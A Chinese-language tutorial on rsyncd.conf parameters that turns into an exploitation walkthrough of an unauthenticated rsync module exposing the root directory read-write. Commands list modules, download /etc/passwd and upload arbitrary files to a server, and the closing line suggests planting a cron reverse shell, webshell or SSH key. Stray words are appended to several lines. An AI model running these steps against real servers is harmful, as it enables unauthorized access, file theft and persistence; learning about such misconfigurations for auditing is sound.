rsync,remote synchronize顧名思意就知道它是一款實現遠程同步功能的軟件,它在同步文件的同時,能夠保持原來文件的權限、時間、軟硬連接等附加信息。 rsync是用 「rsync 算法」提供了一個客戶機和遠程文件服務器的文件同步的快速方法,並且能夠經過ssh方式來傳輸文件,這樣其保密性也很是好html
配置文件 rsyncd.conf 由全局配置和若干模塊配置組成。通常在/etc/rsyncd.conf
配置文件的語法爲:算法
參數 | 說明 |
---|---|
uid | 此參數指定與該模塊之間的文件傳輸的用戶名或用戶ID |
gid | 此參數指定在訪問模塊時將使用的一個或多個組名稱/ID |
use chroot | 若爲 true,則 rsync 在傳輸文件以前首先 chroot 到 path 參數所指定的目錄下。這樣作的緣由是實現額外的安全防禦,可是缺點是須要 root 權限,而且不能備份指向 path 外部的符號鏈接所指向的目錄文件 |
max connections | 指定該模塊的最大併發鏈接數量以保護服務器,超過限制的鏈接請求將被告知隨後再試 |
syslog facility | 指定 rsync 發送日誌消息給 syslog 時的消息級別 |
pid file | rsync 的守護進程將其 PID 寫入指定的文件 |
log file | 指定 rsync 守護進程的日誌文件,而不將日誌發送給 syslog |
path | 指定當前模塊在 rsync 服務器上的同步路徑,該參數是必須指定的 |
comment | 給模塊指定一個描述,該描述連同模塊名在客戶鏈接獲得模塊列表時顯示給客戶 |
read only | 指定是否容許客戶上傳文件。若爲 true 則不容許上傳;若爲 false 而且服務器目錄也具備讀寫權限則容許上傳 |
auth users | 指定驗證用戶名,能夠不設置,不設置默認不用密碼,設置的話安全性更高點 |
secrets file | 指定密碼文件,若是設定驗證用戶,這一項必須設置,設定密碼權限爲400 |
hosts allow | 設置能夠容許訪問的主機,能夠是網段,多個Ip地址用空格隔開 |
uid = root
gid = root
use chroot = no
max connections = 4
syslog facility = local5
pid file = /var/run/rsyncd.pid
log file = /var/log/rsyncd.logshell[src]
path = /
comment = src path
read only = no安全
由配置文件,咱們能夠訪問path所指定目錄之外的目錄,該配置還定義了一個src模塊,路徑指向根目錄,並且可讀可寫,最重要的是沒有設置用戶名,如此便無需密碼直接訪問服務器
查看可用模塊
rsync 192.168.122.1::
rsync rsync://192.168.122.1:873/
rsync rsync://192.168.122.1
併發
列出模塊下文件
rsync 192.168.122.1::src
rsync rsync://192.168.122.1/src
ssh
下載任意文件
rsync rsync://192.168.122.1/src/etc/passwd ./
rsync 192.168.122.1::src/etc/passwd ./
ui
上傳任意文件
rsync x.txt rsync://192.168.122.1/src/home/
rsync x.txt 192.168.122.1::src/home/
日誌
而後能夠寫入了一個cron任務,反彈shell,有Web服務的話,能夠寫WebShell,或者寫ssh公鑰等code
參考:
rsyncd.conf